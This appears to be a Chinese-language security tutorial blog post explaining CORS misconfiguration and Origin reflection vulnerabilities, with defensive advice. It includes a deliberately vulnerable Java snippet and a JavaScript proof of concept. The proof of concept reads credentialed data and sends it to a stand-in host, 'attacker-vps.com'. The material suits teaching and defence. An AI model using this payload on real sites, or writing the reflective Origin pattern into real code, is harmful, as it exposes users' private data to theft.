欢迎光临
我们一直在努力

Web 跨域安全实战(一):CORS 配置缺陷与 Origin 反射漏洞深度解析

前言

在 Web 安全体系中,SSRF 是利用后端服务作为攻击跳板,而CORS(跨域资源共享)漏洞则是利用浏览器跨域规则的配置失误,诱导用户浏览器完成敏感数据窃取。

本篇作为 CORS 系列入门篇,从同源策略底层规则讲起,拆解Origin请求头工作机制、动态反射漏洞成因,区分 CORS 漏洞与 CSRF 的核心差异,并结合实战代码演示攻击流程,带你吃透 CORS 基础漏洞原理与利用方式。


一、基础前提:同源策略 SOP 与 CORS 协议诞生

1.1 同源策略 SOP(Same-Origin Policy)

同源策略是浏览器核心安全机制,用于隔离不同网站的数据与权限。协议、域名、端口三者必须完全一致,才判定为同源。

SOP 核心规则:允许跨域发起请求,但禁止跨域读取响应内容。 举例:恶意站点evil.com可以向银行站点bank.com发送请求,但无法通过前端 JS 获取接口返回的账户、密钥等敏感数据,以此保障用户数据安全。

1.2 CORS 跨域资源共享

前后端分离、第三方接口调用等业务场景,需要打破同源限制。W3C 推出CORS(Cross-Origin Resource Sharing) 标准,由服务端配置响应头,主动授权指定域名跨域读取数据。

核心响应头:Access-Control-Allow-Origin,服务端通过该字段声明允许跨域的来源域名,浏览器校验通过后,便会放行跨域数据读取操作。


二、核心解析:Origin 请求头工作机制

Origin是 CORS 体系的核心标识,可理解为浏览器的来源标识。

2.1 Origin 的生成规则

Origin由浏览器底层自动生成并附加在请求头中,并非前端代码手动设置。 当页面 JS(fetch/XMLHttpRequest)发起跨域请求时,浏览器会自动携带Origin,值为当前页面的完整源(协议 + 域名 + 端口),向服务端标明请求来源。

2.2 Origin 能否被篡改

  • 常规前端环境:浏览器做了安全限制,JavaScript 无法修改、伪造Origin请求头,篡改操作会直接被浏览器拦截,保障原生环境安全。
  • 渗透测试场景:使用 Burp Suite 等抓包工具可绕过浏览器限制,手动修改Origin值,以此测试服务端的跨域校验逻辑,是漏洞探测的常用手段。
  • 2.3 服务端对 Origin 的正常处理

    服务端接收请求后,读取Origin字段,与预设的域名白名单比对。若来源合法,则在响应头中返回对应Access-Control-Allow-Origin,授权跨域访问;若不合法,则拒绝跨域。


    三、高危漏洞:Origin 动态反射漏洞成因

    CORS 漏洞的核心根源,是服务端未做合法域名校验,直接反射客户端传入的 Origin 值,也就是常说的Origin Reflection(源反射)。

    3.1 业务选型困境

    为适配大量子域名、第三方合作接口,开发者有两种常规配置方案,但各有局限:

  • 固定域名白名单:安全性最高,但新增合作域名、子域名时需要修改代码,维护成本高;
  • 通配符 *:配置Access-Control-Allow-Origin: *允许所有域名跨域。根据 CORS 协议规范,使用通配符时,禁止开启身份凭证携带(Access-Control-Allow-Credentials: true 无法同时生效),无法传递 Cookie、Session 等用户凭证。
  • 3.2 危险的动态反射逻辑

    为兼顾灵活性与凭证传递,部分开发者采用了危险的动态拼接逻辑:直接获取请求中的Origin,不做任何校验,原样写入跨域响应头,并开启凭证支持。

    漏洞代码示例(Java)

    java

    运行

    // 获取客户端提交的Origin请求头
    String clientOrigin = request.getHeader("Origin");
    if (clientOrigin != null) {
    // 致命缺陷:无白名单校验,直接反射来源域名
    response.setHeader("Access-Control-Allow-Origin", clientOrigin);
    // 允许跨域请求携带Cookie、Session等身份凭证
    response.setHeader("Access-Control-Allow-Credentials", "true");
    }

    3.3 漏洞触发原理

  • 受害者访问恶意站点evil.com,页面 JS 向目标业务接口发起跨域请求,浏览器自动携带 Origin: https://evil.com;
  • 目标服务端未校验来源,将evil.com反射至Access-Control-Allow-Origin响应头;
  • 浏览器校验响应头,判定恶意域名获得授权,同源策略失效;
  • 恶意脚本成功读取接口返回的敏感数据,完成数据窃取。

  • 四、概念区分:CORS 漏洞 与 CSRF 漏洞

    二者均依托用户浏览器身份发起攻击,但攻击目标、利用逻辑完全不同,是 Web 安全中易混淆的两个漏洞:

  • CSRF(跨站请求伪造) 核心:借身份执行操作。利用用户登录态发起增删改类请求(转账、改密码),攻击者无需、也无法读取接口响应数据。
  • CORS 反射漏洞 核心:跨域读取数据。突破同源策略限制,窃取账户信息、密钥、接口数据等敏感内容,攻击目标以数据窃取为主。

  • 五、实战利用:恶意脚本与数据外带

    确认存在 Origin 反射漏洞后,攻击者会在恶意站点部署 JS 代码,窃取数据并外带至自身服务器。

    5.1 攻击 POC 示例

    javascript

    运行

    // 创建跨域请求对象
    var req = new XMLHttpRequest();
    // 请求完成后执行数据窃取与外带
    req.onload = function() {
    // Base64编码数据,拼接至URL实现日志外带
    window.location = "https://attacker-vps.com/log?data=" + btoa(this.responseText);
    };
    // 指向目标漏洞接口
    req.open('GET', 'https://vuln-target.com/account/info', true);
    // 关键配置:强制携带受害者的Cookie、Session凭证
    req.withCredentials = true;
    // 发起跨域请求
    req.send();

    5.2 攻击流程说明

  • withCredentials: true 保证请求携带用户登录凭证,获取登录态下的私密数据;
  • 成功读取响应数据后,通过window.location跳转至攻击者可控服务器;
  • 攻击者查看服务器访问日志,解码后即可拿到被盗取的敏感信息。

  • 六、基础防御建议

  • 配置严格白名单:仅将可信业务域名、子域名加入白名单,拒绝直接反射 Origin;
  • 谨慎使用通配符:对外公开接口可使用*,但绝对不要同时开启凭证支持;
  • 拒绝空来源与非法域名:对空Origin、非常规域名直接拦截;
  • 敏感接口增加二次鉴权:核心数据接口除 CORS 校验外,补充 Token、签名等校验逻辑。

  • 系列小结

    本阶段我们掌握了同源策略、CORS 协议、Origin 头的基础规则,以及最经典的Origin 动态反射漏洞。该漏洞本质是开发者为降低维护成本,放弃了安全校验,最终击穿浏览器同源防护。下一阶段我们将讲解模糊匹配、正则绕过、部分匹配等进阶 CORS 绕过手法。

    赞(0)
    未经允许不得转载:171主机测评 » Web 跨域安全实战(一):CORS 配置缺陷与 Origin 反射漏洞深度解析
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址